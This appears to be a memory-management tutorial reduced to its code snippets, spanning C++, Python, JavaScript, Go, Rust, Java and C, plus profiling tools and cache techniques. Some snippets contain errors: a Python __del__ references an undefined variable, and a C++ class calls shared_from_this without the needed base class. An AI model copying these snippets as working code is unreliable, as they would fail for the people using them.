// foo won't be deleted until both foo and x_ptr are destroyed

// 1. Shared resources
class ResourceManager {
    std::shared_ptr<Database> db;
public:
    std::shared_ptr<Database> get_database() {
        return db;  // Share ownership
    }
};

// 2. Observer pattern
class Subject {
    std::vector<std::shared_ptr<Observer>> observers;
public:
    void attach(std::shared_ptr<Observer> obs) {
        observers.push_back(obs);
    }
};

// 3. Cache with shared ownership
class Cache {
    std::map<std::string, std::shared_ptr<Data>> cache;
public:
    std::shared_ptr<Data> get(const std::string& key) {
        auto it = cache.find(key);
        if (it != cache.end()) {
            return it->second;  // Share cached data
        }
        return nullptr;
    }
};

std::shared_ptr<int> sp = std::make_shared<int>(42);
std::weak_ptr<int> wp = sp;  // Doesn't increase ref count

std::cout << sp.use_count() << "\n";  // 1 (weak_ptr doesn't count)

// weak_ptr cannot access object directly
// *wp; // ERROR

// Must convert to shared_ptr first
if (std::shared_ptr<int> sp2 = wp.lock()) {
    // Object still alive
    std::cout << *sp2 << "\n";  // 42
    std::cout << sp.use_count() << "\n";  // 2
} else {
    // Object was deleted
    std::cout << "Object expired\n";
}

struct Node {
    std::shared_ptr<Node> next;     // Strong reference
    std::weak_ptr<Node> prev;       // Weak reference (breaks cycle)

    ~Node() { std::cout << "Destructor called\n"; }
};

{
    std::shared_ptr<Node> node1 = std::make_shared<Node>();
    std::shared_ptr<Node> node2 = std::make_shared<Node>();

    node1->next = node2;  // node2 ref_count = 2
    node2->prev = node1;  // node1 ref_count still 1 (weak_ptr doesn't count)
}
// node1 ref_count = 0 → deleted
// node2 ref_count = 1 → 0 → deleted
// Both destructors called! No leak!

class Subject;

class Observer {
public:
    void notify(std::shared_ptr<Subject> subject) {
        std::cout << "Notified\n";
    }
};

class Subject {
    std::vector<std::weak_ptr<Observer>> observers;

public:
    void attach(std::shared_ptr<Observer> obs) {
        observers.push_back(obs);
    }

    void notify_all() {
        for (auto& weak_obs : observers) {
            if (std::shared_ptr<Observer> obs = weak_obs.lock()) {
                obs->notify(shared_from_this());
            }
        }
    }
};

// If observer is deleted, weak_ptr.lock() returns nullptr
// No dangling pointers!

class ImageCache {
    std::map<std::string, std::weak_ptr<Image>> cache;

public:
    std::shared_ptr<Image> load(const std::string& filename) {
        // Check cache
        auto it = cache.find(filename);
        if (it != cache.end()) {
            if (std::shared_ptr<Image> img = it->second.lock()) {
                return img;  // Image still in memory
            }
        }

        // Load image
        std::shared_ptr<Image> img = std::make_shared<Image>(filename);
        cache[filename] = img;  // Store weak reference
        return img;
    }
};

// When all shared_ptrs to image are destroyed, image is deleted
// Cache automatically updated (weak_ptr expires)

std::shared_ptr<int> sp = std::make_shared<int>(42);
std::weak_ptr<int> wp = sp;

std::cout << wp.expired() << "\n";  // false (object alive)
std::cout << wp.use_count() << "\n";  // 1

sp.reset();  // Delete object

std::cout << wp.expired() << "\n";  // true (object deleted)
std::cout << wp.use_count() << "\n";  // 0

// RAII:
// 1. Acquire resource in constructor
// 2. Release resource in destructor
// 3. Resource lifetime tied to object lifetime

class FileHandle {
    FILE* file;

public:
    FileHandle(const char* filename, const char* mode)
        : file(fopen(filename, mode))
    {
        if (!file) {
            throw std::runtime_error("Failed to open file");
        }
    }

    ~FileHandle() {
        if (file) {
            fclose(file);
        }
    }

    // Prevent copying (file handle shouldn't be copied)
    FileHandle(const FileHandle&) = delete;
    FileHandle& operator=(const FileHandle&) = delete;

    FILE* get() { return file; }
};

// Usage
void process_file() {
    FileHandle file("data.txt", "r");
    // Use file.get()...
    // Automatic cleanup even if exception thrown!
}

#include <mutex>

std::mutex mtx;
int shared_data = 0;

void bad_example() {
    mtx.lock();

    shared_data++;

    if (error_condition) {
        return;  // BUG: Forgot to unlock!
    }

    mtx.unlock();
}

void good_example() {
    std::lock_guard<std::mutex> lock(mtx);  // RAII

    shared_data++;

    if (error_condition) {
        return;  // Automatic unlock
    }

    // Automatic unlock
}

class SocketHandle {
    int sockfd;

public:
    SocketHandle(const char* host, int port) {
        sockfd = socket(AF_INET, SOCK_STREAM, 0);
        if (sockfd < 0) throw std::runtime_error("Socket creation failed");

        // Connect...
    }

    ~SocketHandle() {
        if (sockfd >= 0) {
            close(sockfd);
        }
    }

    int get() { return sockfd; }
};

class DatabaseConnection {
    Connection* conn;

public:
    DatabaseConnection(const char* connstr) {
        conn = db_connect(connstr);
        if (!conn) throw std::runtime_error("Connection failed");
    }

    ~DatabaseConnection() {
        if (conn) {
            db_disconnect(conn);
        }
    }

    Connection* get() { return conn; }
};

class Buffer {
    char* data;
    size_t size;

public:
    Buffer(size_t n) : size(n) {
        data = new char[n];
    }

    ~Buffer() {
        delete[] data;
    }

    char* get() { return data; }
    size_t length() { return size; }
};

// 1. Acquire in constructor, release in destructor
// 2. Delete copy operations if resource shouldn't be copied
// 3. Use unique_ptr/shared_ptr for dynamic allocations
// 4. Custom deleters for non-memory resources

// Example: Combining RAII with smart pointers
class Resource {
public:
    Resource() { std::cout << "Acquired\n"; }
    ~Resource() { std::cout << "Released\n"; }
};

void function() {
    std::unique_ptr<Resource> res = std::make_unique<Resource>();
    // Use resource...
    // Automatic cleanup
}

import sys

# Create object (ref_count = 1)
a = [1, 2, 3]
print(sys.getrefcount(a))  # 2 (1 + temporary reference from getrefcount)

# Add reference
b = a
print(sys.getrefcount(a))  # 3

# Remove reference
del b
print(sys.getrefcount(a))  # 2

# Remove last reference → object deleted
del a

class Resource:
    def __init__(self, name):
        self.name = name
        print(f"Acquiring {name}")

    def __del__(self):
        print(f"Releasing {name}")

# Create object
r = Resource("File")  # "Acquiring File"

# Delete object
del r  # "Releasing File" (if no other references)

# Warning: __del__ timing is unpredictable with cycles

import gc

# Get garbage collector stats
print(gc.get_count())  # (threshold0, threshold1, threshold2)

# Manual collection
gc.collect()  # Force collection, returns # of objects collected

# Disable/enable automatic collection
gc.disable()
# ... do work ...
gc.enable()

# Find uncollectable objects (usually due to __del__ in cycles)
gc.set_debug(gc.DEBUG_SAVEALL)
gc.collect()
print(gc.garbage)  # List of uncollectable objects

class Node:
    def __init__(self):
        self.ref = None

# Create cycle
node1 = Node()
node2 = Node()
node1.ref = node2
node2.ref = node1

# Delete external references
del node1
del node2

# Objects not immediately freed (circular reference)
# Cycle detector will eventually collect them

gc.collect()  # Force collection

# Without __slots__: each instance has a __dict__
class NormalClass:
    def __init__(self, x, y):
        self.x = x
        self.y = y

import sys
obj = NormalClass(1, 2)
print(sys.getsizeof(obj))  # e.g., 56 bytes

# With __slots__: no __dict__, fixed attributes
class OptimizedClass:
    __slots__ = ['x', 'y']

    def __init__(self, x, y):
        self.x = x
        self.y = y

obj2 = OptimizedClass(1, 2)
print(sys.getsizeof(obj2))  # e.g., 48 bytes

# obj2.z = 3  # AttributeError: no __dict__!

import sys

# 1 million objects without __slots__
objects1 = [NormalClass(i, i*2) for i in range(1000000)]
size1 = sum(sys.getsizeof(obj) for obj in objects1)

# 1 million objects with __slots__
objects2 = [OptimizedClass(i, i*2) for i in range(1000000)]
size2 = sum(sys.getsizeof(obj) for obj in objects2)

print(f"Normal: {size1/1024/1024:.2f} MB")
print(f"Optimized: {size2/1024/1024:.2f} MB")
print(f"Savings: {(1 - size2/size1)*100:.1f}%")

# Typical result: 30-50% memory savings

# Small integers (-5 to 256) are interned
a = 100
b = 100
print(a is b)  # True (same object)

a = 1000
b = 1000
print(a is b)  # False (different objects)

# String interning
s1 = "hello"
s2 = "hello"
print(s1 is s2)  # True (interned)

# Force interning
import sys
s3 = sys.intern("unique_string")
s4 = sys.intern("unique_string")
print(s3 is s4)  # True

import tracemalloc

# Start tracing
tracemalloc.start()

# Allocate memory
data = [i for i in range(1000000)]

# Get memory usage
current, peak = tracemalloc.get_traced_memory()
print(f"Current: {current / 1024 / 1024:.2f} MB")
print(f"Peak: {peak / 1024 / 1024:.2f} MB")

# Get top memory allocations
snapshot = tracemalloc.take_snapshot()
top_stats = snapshot.statistics('lineno')

for stat in top_stats[:5]:
    print(stat)

tracemalloc.stop()

New Space (Young Generation):
  - New objects allocated here
  - Small (1-8 MB)
  - Fast, frequent GC (Scavenge)

Old Space (Old Generation):
  - Objects that survived multiple GCs
  - Larger (hundreds of MB)
  - Slower, less frequent GC (Mark-Sweep-Compact)

Large Object Space:
  - Objects > ~512 KB
  - Never moved

// BAD: Creates global variable
function leak() {
    leakyVar = new Array(1000000);  // No var/let/const!
}

// GOOD: Use const/let
function noLeak() {
    const localVar = new Array(1000000);
}

// BAD: Event listener prevents GC
function setupElement() {
    const bigData = new Array(1000000);
    const element = document.getElementById('button');

    element.addEventListener('click', function() {
        console.log(bigData.length);  // Closes over bigData
    });
}

// GOOD: Remove listener when done
function setupElementCorrectly() {
    const bigData = new Array(1000000);
    const element = document.getElementById('button');

    const handler = function() {
        console.log(bigData.length);
    };

    element.addEventListener('click', handler);

    // Later:
    element.removeEventListener('click', handler);
}

// BETTER: Use AbortController
function setupElementBest() {
    const bigData = new Array(1000000);
    const element = document.getElementById('button');
    const controller = new AbortController();

    element.addEventListener('click', function() {
        console.log(bigData.length);
    }, { signal: controller.signal });

    // Later:
    controller.abort();  // Removes all listeners
}

// BAD: setInterval keeps running
function startTimer() {
    const bigData = new Array(1000000);

    setInterval(() => {
        console.log(bigData.length);
    }, 1000);
}

// GOOD: Clear timer
function startTimerCorrectly() {
    const bigData = new Array(1000000);

    const timer = setInterval(() => {
        console.log(bigData.length);
    }, 1000);

    // Later:
    clearInterval(timer);
}

// BAD: Closures retain entire scope
function createClosure() {
    const bigData = new Array(1000000);
    const smallData = [1, 2, 3];

    return function() {
        return smallData.length;  // Only uses smallData
    };
    // But bigData is still retained!
}

// GOOD: Minimize closure scope
function createClosureCorrectly() {
    const smallData = [1, 2, 3];

    return function() {
        return smallData.length;
    };
    // bigData not in closure scope
}

const cache = new WeakMap();

let obj = { data: 'value' };
cache.set(obj, 'cached data');

console.log(cache.get(obj));  // 'cached data'

obj = null;  // Object can be GC'd
// cache entry automatically removed

let obj = { data: 'value' };
const weakRef = new WeakRef(obj);

console.log(weakRef.deref());  // { data: 'value' }

obj = null;  // Object can be GC'd

// Later:
console.log(weakRef.deref());  // undefined (if GC'd)

// 1. Take heap snapshot
// DevTools → Memory → Take snapshot

// 2. Compare snapshots
// Take snapshot before
const leak = [];
function allocate() {
    leak.push(new Array(1000000));
}

allocate();
// Take snapshot after

// 3. Allocation timeline
// DevTools → Memory → Allocation instrumentation on timeline

// 4. Force GC
// DevTools → Performance → Collect garbage

// Stack allocation (automatic)
func stackAlloc() {
    x := 42              // On stack
    arr := [10]int{}     // On stack
}

// Heap allocation (escapes to heap)
func heapAlloc() *int {
    x := 42
    return &x  // Escapes to heap
}

// Slice (heap allocation)
func sliceAlloc() {
    s := make([]int, 1000)  // On heap
    _ = s
}

// Check what escapes to heap
// go build -gcflags='-m'

func example() {
    x := 42         // stack
    y := &x         // x escapes to heap (address taken and returned)
    _ = y
}

import "runtime"

func main() {
    // Force GC
    runtime.GC()

    // Set GC percentage (default: 100)
    // GOGC=50: GC when heap grows 50%
    // GOGC=200: GC when heap triples
    runtime.SetGCPercent(200)

    // Get memory stats
    var m runtime.MemStats
    runtime.ReadMemStats(&m)

    fmt.Printf("Alloc: %d MB\n", m.Alloc / 1024 / 1024)
    fmt.Printf("TotalAlloc: %d MB\n", m.TotalAlloc / 1024 / 1024)
    fmt.Printf("Sys: %d MB\n", m.Sys / 1024 / 1024)
    fmt.Printf("NumGC: %d\n", m.NumGC)
}

var bufferPool = sync.Pool{
    New: func() interface{} {
        return new(bytes.Buffer)
    },
}

func processData(data []byte) {
    // Get buffer from pool
    buf := bufferPool.Get().(*bytes.Buffer)
    buf.Reset()

    // Use buffer
    buf.Write(data)
    processBuffer(buf)

    // Return to pool
    bufferPool.Put(buf)
}

// BAD: Allocates on every call
func bad(n int) []int {
    return make([]int, n)
}

// GOOD: Reuse buffer
type Processor struct {
    buffer []int
}

func (p *Processor) process(n int) []int {
    if cap(p.buffer) < n {
        p.buffer = make([]int, n)
    }
    return p.buffer[:n]
}

// BAD: Many reallocations
func bad() []int {
    var result []int
    for i := 0; i < 1000000; i++ {
        result = append(result, i)  // Reallocates many times
    }
    return result
}

// GOOD: Preallocate
func good() []int {
    result := make([]int, 0, 1000000)
    for i := 0; i < 1000000; i++ {
        result = append(result, i)  // No reallocations
    }
    return result
}

fn main() {
    let s = String::from("hello");  // s owns the string

    takes_ownership(s);  // s moved, no longer valid

    // println!("{}", s);  // ERROR: s was moved
}

fn takes_ownership(s: String) {
    println!("{}", s);
}  // s dropped here
fn main() {
    let s = String::from("hello");

    // Immutable borrow
    let len = calculate_length(&s);  // Borrow, don't move

    println!("Length of '{}' is {}", s, len);  // s still valid
}

fn calculate_length(s: &String) -> usize {
    s.len()
}  // s goes out of scope, but doesn't drop (just a reference)
fn main() {
    let mut s = String::from("hello");

    change(&mut s);

    println!("{}", s);  // "hello, world"
}

fn change(s: &mut String) {
    s.push_str(", world");
}
fn main() {
    let mut s = String::from("hello");

    let r1 = &s;
    let r2 = &s;  // OK: multiple immutable borrows
    // let r3 = &mut s;  // ERROR: can't borrow as mutable while immutable borrows exist

    println!("{} {}", r1, r2);
}
// Lifetime annotations
fn longest<'a>(x: &'a str, y: &'a str) -> &'a str {
    if x.len() > y.len() {
        x
    } else {
        y
    }
}

fn main() {
    let string1 = String::from("long string");
    let string2 = String::from("short");

    let result = longest(&string1, &string2);
    println!("Longest: {}", result);
}

// Compiler ensures returned reference doesn't outlive inputs
fn main() {
    let b = Box::new(5);  // Allocate on heap
    println!("b = {}", b);
}  // b dropped, heap memory freed
use std::rc::Rc;

fn main() {
    let a = Rc::new(5);           // ref_count = 1
    let b = Rc::clone(&a);        // ref_count = 2
    let c = Rc::clone(&a);        // ref_count = 3

    println!("count: {}", Rc::strong_count(&a));  // 3
}  // All dropped, memory freed when count reaches 0
use std::cell::RefCell;

fn main() {
    let value = RefCell::new(5);

    *value.borrow_mut() = 10;  // Runtime borrow checking

    println!("{}", value.borrow());
}
// No runtime overhead!
fn main() {
    let v = vec![1, 2, 3];

    // Iterator: compiled to same code as manual loop
    let sum: i32 = v.iter().map(|x| x * 2).sum();

    println!("{}", sum);
}

// Equivalent to:
fn manual() {
    let v = vec![1, 2, 3];
    let mut sum = 0;
    for x in &v {
        sum += x * 2;
    }
    println!("{}", sum);
}

// Both compile to identical assembly!
Heap:
+---------------------------+
| Young Generation          |
|  - Eden Space             |
|  - Survivor Space 0       |
|  - Survivor Space 1       |
+---------------------------+
| Old Generation (Tenured)  |
+---------------------------+
| Metaspace (JDK 8+)        |
| (Class metadata)          |
+---------------------------+

public class ObjectLifecycle {
    public static void main(String[] args) {
        // 1. Allocation in Eden space
        MyObject obj = new MyObject();  // Allocated in Eden

        // 2. Minor GC moves survivors to Survivor space
        // (happens automatically when Eden fills)

        // 3. After several GCs, promoted to Old Generation

        // 4. When obj = null, object becomes eligible for GC
        obj = null;

        // 5. Major GC (when old gen fills) reclaims object
    }
}

java -XX:+UseSerialGC MyApp
# Good for: Small heaps, single-CPU systems

java -XX:+UseParallelGC MyApp
# Good for: High throughput, batch processing

java -XX:+UseConcMarkSweepGC MyApp
# Good for: Low latency (deprecated in JDK 9)

java -XX:+UseG1GC -XX:MaxGCPauseMillis=200 MyApp
# Good for: Balanced throughput/latency, large heaps

java -XX:+UseZGC MyApp
# Good for: Sub-10ms pauses, very large heaps (TB+)

java -XX:+UseShenandoahGC MyApp
# Good for: Low latency, concurrent compaction

# Heap size
java -Xms2g -Xmx4g MyApp  # Initial 2GB, max 4GB

# Young generation size
java -Xmn1g MyApp  # 1GB young gen

# Metaspace size (class metadata)
java -XX:MetaspaceSize=256m -XX:MaxMetaspaceSize=512m MyApp

# GC logging
java -Xlog:gc*:file=gc.log:time,uptime:filecount=5,filesize=100m MyApp

import java.lang.ref.*;

public class References {
    public static void main(String[] args) {
        Object obj = new Object();

        // Strong reference: never GC'd while reachable
        Object strong = obj;

        // Weak reference: GC'd even if memory available
        WeakReference<Object> weak = new WeakReference<>(obj);
        System.out.println(weak.get());  // Returns object
        obj = null;
        System.gc();
        System.out.println(weak.get());  // null (GC'd)

        // Soft reference: GC'd only when memory low
        obj = new Object();
        SoftReference<Object> soft = new SoftReference<>(obj);
        obj = null;
        // soft.get() returns object until memory pressure

        // Phantom reference: for cleanup actions
        obj = new Object();
        ReferenceQueue<Object> queue = new ReferenceQueue<>();
        PhantomReference<Object> phantom = new PhantomReference<>(obj, queue);
        obj = null;
        System.gc();
        // phantom.get() always returns null
        // Used for post-finalization cleanup
    }
}

valgrind --tool=memcheck --leak-check=full --show-leak-kinds=all ./myapp

valgrind --tool=massif ./myapp
ms_print massif.out.<pid>

KB
1.000^
     |
     |
     |                           @@@@@@@@
     |                      @@@@@        @@@@@
     |                 @@@@@                  @@@@@
     |            @@@@@                            @@@@@
     |       @@@@@                                      @@@@@
     |  @@@@@                                                @@@@@
0    +----------------------------------------------------------------------->
     0                                                                   100 s

valgrind --tool=cachegrind ./myapp
cg_annotate cachegrind.out.<pid>

heaptrack ./myapp
heaptrack_gui heaptrack.myapp.<pid>.gz

# Launch Instruments
instruments -t Leaks ./myapp

# Or from Xcode: Product → Profile (⌘I)

# Standalone
gcc -fsanitize=leak -g -o myapp myapp.c
./myapp

# Or included with AddressSanitizer
gcc -fsanitize=address -g -o myapp myapp.c
./myapp

=================================================================
==12345==ERROR: LeakSanitizer: detected memory leaks

Direct leak of 100 byte(s) in 1 object(s) allocated from:
    #0 0x7f8b7cc63537 in malloc
    #1 0x400b95 in main myapp.c:10

SUMMARY: LeakSanitizer: 100 byte(s) leaked in 1 allocation(s).

#include <mcheck.h>

int main() {
    mtrace();  // Start tracing

    char* leak = malloc(100);
    // Forgot to free!

    muntrace();  // Stop tracing
    return 0;
}

gcc -g -o myapp myapp.c
export MALLOC_TRACE=mtrace.log
./myapp
mtrace myapp mtrace.log

Memory not freed:
-----------------
   Address     Size     Caller
0x55e4d789ef00   0x64  at /path/to/myapp.c:10

from memory_profiler import profile

@profile
def my_function():
    a = [1] * (10 ** 6)
    b = [2] * (2 * 10 ** 7)
    del b
    return a

if __name__ == '__main__':
    my_function()

python -m memory_profiler myapp.py

Line #    Mem usage    Increment  Line Contents
================================================
     3   38.816 MiB   38.816 MiB  @profile
     4                             def my_function():
     5   46.492 MiB    7.676 MiB      a = [1] * (10 ** 6)
     6  199.344 MiB  152.852 MiB      b = [2] * (2 * 10 ** 7)
     7   46.492 MiB -152.852 MiB      del b
     8   46.492 MiB    0.000 MiB      return a

# Compile with jemalloc
gcc -o myapp myapp.c -ljemalloc

# Enable profiling
export MALLOC_CONF=prof:true,prof_prefix:jeprof.out
./myapp

# Analyze profile
jeprof --pdf myapp jeprof.out.<pid>.heap > profile.pdf

#include <gperftools/heap-profiler.h>

int main() {
    HeapProfilerStart("myapp");

    // Your code here
    for (int i = 0; i < 1000000; i++) {
        char* ptr = malloc(100);
        // ...
    }

    HeapProfilerStop();
    return 0;
}

gcc -o myapp myapp.c -ltcmalloc
./myapp
pprof --pdf myapp myapp.0001.heap > heap_profile.pdf

# Start recording
java -XX:StartFlightRecording=duration=60s,filename=recording.jfr MyApp

# Or attach to running process
jcmd <pid> JFR.start duration=60s filename=recording.jfr

# Analyze with JDK Mission Control
jmc recording.jfr

// Heap snapshot
// DevTools → Memory → Take snapshot

// Example: Find detached DOM nodes
function createLeak() {
    const div = document.createElement('div');
    div.innerHTML = '<p>Content</p>';

    window.leakedNode = div;  // Prevents GC
}

// 1. Take snapshot
// 2. Run createLeak()
// 3. Take snapshot
// 4. Compare snapshots → find "Detached DOM tree"

CPU Registers: ~1 cycle (~0.3 ns)
L1 Cache: ~4 cycles (~1 ns), 32-64 KB per core
L2 Cache: ~12 cycles (~3 ns), 256-512 KB per core
L3 Cache: ~40 cycles (~10 ns), 8-64 MB shared
RAM: ~200 cycles (~60 ns), GB+

// BAD: False sharing
struct {
    int counter1;  // Offset 0
    int counter2;  // Offset 4
} shared;

// Thread 1
shared.counter1++;  // Invalidates entire cache line

// Thread 2
shared.counter2++;  // Must reload cache line (slow!)

// GOOD: Padding to separate cache lines
struct {
    int counter1;
    char padding[60];  // Pad to 64 bytes
    int counter2;
} shared;

// Thread 1 and 2 now use different cache lines

struct Particle {
    float x, y, z;
    float vx, vy, vz;
    float mass;
};

struct Particle particles[1000];

// Update positions
for (int i = 0; i < 1000; i++) {
    particles[i].x += particles[i].vx;
    particles[i].y += particles[i].vy;
    particles[i].z += particles[i].vz;
}

// Cache-unfriendly: loads entire struct, wastes bandwidth

struct Particles {
    float x[1000];
    float y[1000];
    float z[1000];
    float vx[1000];
    float vy[1000];
    float vz[1000];
    float mass[1000];
};

struct Particles particles;

// Update positions
for (int i = 0; i < 1000; i++) {
    particles.x[i] += particles.vx[i];
    particles.y[i] += particles.vy[i];
    particles.z[i] += particles.vz[i];
}

// Cache-friendly: sequential access, full cache line utilization

AoS: ~100 ms (many cache misses)
SoA: ~20 ms (few cache misses)
Speedup: 5x!

// Manual prefetching
#include <xmmintrin.h>

void process_array(int* arr, size_t n) {
    for (size_t i = 0; i < n; i++) {
        // Prefetch next iteration
        if (i + 8 < n) {
            _mm_prefetch(&arr[i + 8], _MM_HINT_T0);
        }

        // Process current
        arr[i] = arr[i] * 2 + 1;
    }
}

#define SIZE (1024 * 1024 * 100)  // 100M ints

int* arr = malloc(SIZE * sizeof(int));

// Sequential access (cache-friendly)
clock_t start = clock();
for (int i = 0; i < SIZE; i++) {
    arr[i] = i;
}
double seq_time = (double)(clock() - start) / CLOCKS_PER_SEC;

// Random access (cache-unfriendly)
start = clock();
for (int i = 0; i < SIZE; i++) {
    int index = rand() % SIZE;
    arr[index] = i;
}
double rand_time = (double)(clock() - start) / CLOCKS_PER_SEC;

printf("Sequential: %.3f s\n", seq_time);
printf("Random: %.3f s\n", rand_time);
printf("Ratio: %.2fx\n", rand_time / seq_time);

// Typical result: Random is 10-50x slower!

// Matrix multiplication: Naive (cache-unfriendly)
void matmul_naive(double* A, double* B, double* C, int N) {
    for (int i = 0; i < N; i++) {
        for (int j = 0; j < N; j++) {
            double sum = 0;
            for (int k = 0; k < N; k++) {
                sum += A[i*N + k] * B[k*N + j];
                // B accessed with stride N (cache miss!)
            }
            C[i*N + j] = sum;
        }
    }
}

// Matrix multiplication: Tiled (cache-friendly)
#define BLOCK_SIZE 32

void matmul_tiled(double* A, double* B, double* C, int N) {
    for (int i = 0; i < N; i += BLOCK_SIZE) {
        for (int j = 0; j < N; j += BLOCK_SIZE) {
            for (int k = 0; k < N; k += BLOCK_SIZE) {
                // Process BLOCK_SIZE x BLOCK_SIZE sub-matrix
                for (int ii = i; ii < i + BLOCK_SIZE && ii < N; ii++) {
                    for (int jj = j; jj < j + BLOCK_SIZE && jj < N; jj++) {
                        double sum = C[ii*N + jj];
                        for (int kk = k; kk < k + BLOCK_SIZE && kk < N; kk++) {
                            sum += A[ii*N + kk] * B[kk*N + jj];
                        }
                        C[ii*N + jj] = sum;
                    }
                }
            }
        }
    }
}

// Performance (N=1024):
// Naive: 10.5 seconds
// Tiled: 1.2 seconds
// Speedup: 8.75x!

#include <unistd.h>
#include <sys/wait.h>

int main() {
    char* data = malloc(1000000000);  // 1 GB
    memset(data, 0, 1000000000);

    pid_t pid = fork();

    if (pid == 0) {
        // Child process
        // Shares parent's memory (COW)
        sleep(1);

        // Write triggers COW (copy page)
        data[0] = 42;

        exit(0);
    } else {
        // Parent process
        wait(NULL);
    }

    free(data);
    return 0;
}

// fork() is instant (doesn't copy 1 GB)
// Only modified pages are copied

class CowString {
    struct Data {
        char* str;
        size_t len;
        std::atomic<int> ref_count;
    };

    Data* data;

    void detach() {
        if (data->ref_count > 1) {
            // Copy string (COW)
            Data* new_data = new Data{
                new char[data->len + 1],
                data->len,
                1
            };
            memcpy(new_data->str, data->str, data->len + 1);

            data->ref_count--;
            data = new_data;
        }
    }

public:
    CowString(const char* s) {
        data = new Data{
            new char[strlen(s) + 1],
            strlen(s),
            1
        };
        strcpy(data->str, s);
    }

    // Copy constructor (shares data)
    CowString(const CowString& other) : data(other.data) {
        data->ref_count++;
    }

    // Modify: triggers COW
    void set_char(size_t i, char c) {
        detach();  // Copy if shared
        data->str[i] = c;
    }

    // Read: no COW
    char get_char(size_t i) const {
        return data->str[i];
    }

    ~CowString() {
        if (--data->ref_count == 0) {
            delete[] data->str;
            delete data;
        }
    }
};

#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>

int main() {
    // Open file
    int fd = open("data.bin", O_RDWR);
    if (fd < 0) {
        perror("open");
        return 1;
    }

    // Get file size
    struct stat sb;
    fstat(fd, &sb);
    size_t size = sb.st_size;

    // Memory-map file
    char* data = mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
    if (data == MAP_FAILED) {
        perror("mmap");
        close(fd);
        return 1;
    }

    // Access file as memory
    data[0] = 'H';
    data[1] = 'i';

    // Changes written back to file (eventually)
    msync(data, size, MS_SYNC);  // Force write

    // Unmap
    munmap(data, size);
    close(fd);

    return 0;
}

void process_large_file(const char* filename) {
    int fd = open(filename, O_RDONLY);
    struct stat sb;
    fstat(fd, &sb);

    size_t size = sb.st_size;
    char* data = mmap(NULL, size, PROT_READ, MAP_PRIVATE, fd, 0);

    // Process file in chunks
    size_t chunk_size = 1024 * 1024;  // 1 MB
    for (size_t offset = 0; offset < size; offset += chunk_size) {
        size_t len = (offset + chunk_size < size) ? chunk_size : (size - offset);
        process_chunk(data + offset, len);
    }

    munmap(data, size);
    close(fd);
}

// OS loads only accessed pages (efficient!)

// Process 1: Create shared memory
int fd = shm_open("/my_shm", O_CREAT | O_RDWR, 0666);
ftruncate(fd, 4096);

int* shared = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
*shared = 42;

// Process 2: Attach to shared memory
int fd = shm_open("/my_shm", O_RDWR, 0666);
int* shared = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);

printf("Value: %d\n", *shared);  // 42

// BAD
char* get_string() {
    char* str = malloc(100);
    strcpy(str, "Hello");
    return str;  // Caller must remember to free!
}

// GOOD: Document ownership
char* get_string() {
    // Caller owns returned pointer and must free it
    char* str = malloc(100);
    strcpy(str, "Hello");
    return str;
}

// BETTER: Use output parameter
void get_string(char* buffer, size_t size) {
    strncpy(buffer, "Hello", size - 1);
    buffer[size - 1] = '\0';
}

// BAD
int* get_local() {
    int x = 42;
    return &x;  // Returns address of stack variable!
}

// GOOD
int* get_heap() {
    int* x = malloc(sizeof(int));
    *x = 42;
    return x;
}

// BAD
char buffer[10];
strcpy(buffer, user_input);  // What if user_input is longer?

// GOOD
char buffer[10];
strncpy(buffer, user_input, sizeof(buffer) - 1);
buffer[sizeof(buffer) - 1] = '\0';

// BETTER (C11)
strncpy_s(buffer, sizeof(buffer), user_input, _TRUNCATE);

// BAD
int* arr = malloc(10 * sizeof(int));
printf("%d\n", arr[0]);  // Undefined value!

// GOOD
int* arr = calloc(10, sizeof(int));  // Zero-initialized
printf("%d\n", arr[0]);  // 0

// BAD (may crash on some architectures)
char buffer[100];
int* ptr = (int*)&buffer[1];  // Unaligned!
*ptr = 42;  // May crash or be slow

// GOOD
int* ptr = (int*)&buffer[0];  // Aligned to int boundary
*ptr = 42;

// Clear ownership with unique_ptr
std::unique_ptr<Resource> create_resource() {
    return std::make_unique<Resource>();
}

void use_resource() {
    auto res = create_resource();  // Ownership transferred
    // Use res...
    // Automatic cleanup
}

class FileHandle {
    FILE* file;
public:
    FileHandle(const char* name, const char* mode)
        : file(fopen(name, mode))
    {
        if (!file) throw std::runtime_error("Failed to open file");
    }

    ~FileHandle() {
        if (file) fclose(file);
    }

    FILE* get() { return file; }
};

// Usage
void process_file() {
    FileHandle file("data.txt", "r");
    // Use file.get()...
    // Automatic cleanup even if exception thrown
}

void safe_copy(char* dest, size_t dest_size, const char* src) {
    if (strlen(src) >= dest_size) {
        // Handle error
        return;
    }
    strcpy(dest, src);
}

void process(int* ptr) {
    if (!ptr) {
        // Handle null pointer
        return;
    }

    *ptr = 42;
}

# Clang static analyzer
scan-build gcc -o myapp myapp.c

# Cppcheck
cppcheck --enable=all myapp.c

# Valgrind
valgrind --leak-check=full ./myapp

# Compile with sanitizers during development
gcc -fsanitize=address -fsanitize=undefined -g -o myapp myapp.c

# Run tests
./myapp

/**
 * Creates a new string.
 * @return Newly allocated string. Caller must free with free().
 */
char* create_string(const char* src);

/**
 * Processes data in buffer.
 * @param buffer Buffer to process (not owned, not modified).
 */
void process_data(const char* buffer);

/**
 * Takes ownership of resource.
 * @param resource Resource to take ownership of. Will be freed.
 */
void take_resource(Resource* resource);

void safe_free(void** ptr) {
    if (ptr && *ptr) {
        free(*ptr);
        *ptr = NULL;
    }
}

// Usage
char* str = malloc(100);
safe_free((void**)&str);
safe_free((void**)&str);  // Safe to call twice

#define MAX_MEMORY_MB 100

static size_t allocated_memory = 0;

void* tracked_malloc(size_t size) {
    if (allocated_memory + size > MAX_MEMORY_MB * 1024 * 1024) {
        fprintf(stderr, "Memory budget exceeded\n");
        return NULL;
    }

    void* ptr = malloc(size);
    if (ptr) {
        allocated_memory += size;
    }
    return ptr;
}

void tracked_free(void* ptr, size_t size) {
    if (ptr) {
        free(ptr);
        allocated_memory -= size;
    }
}

#!/bin/bash
# run_tests.sh

# Compile with sanitizers
gcc -fsanitize=address -g -o test test.c

# Run tests
./test

# Check exit code
if [ $? -ne 0 ]; then
    echo "Tests failed or memory errors detected"
    exit 1
fi

echo "All tests passed"

# File operations
ls -lah                    # List files with details
cd /path/to/directory      # Change directory
cp -r source dest          # Copy recursively
mv source dest             # Move/rename
rm -rf directory           # Remove recursively

# Text processing
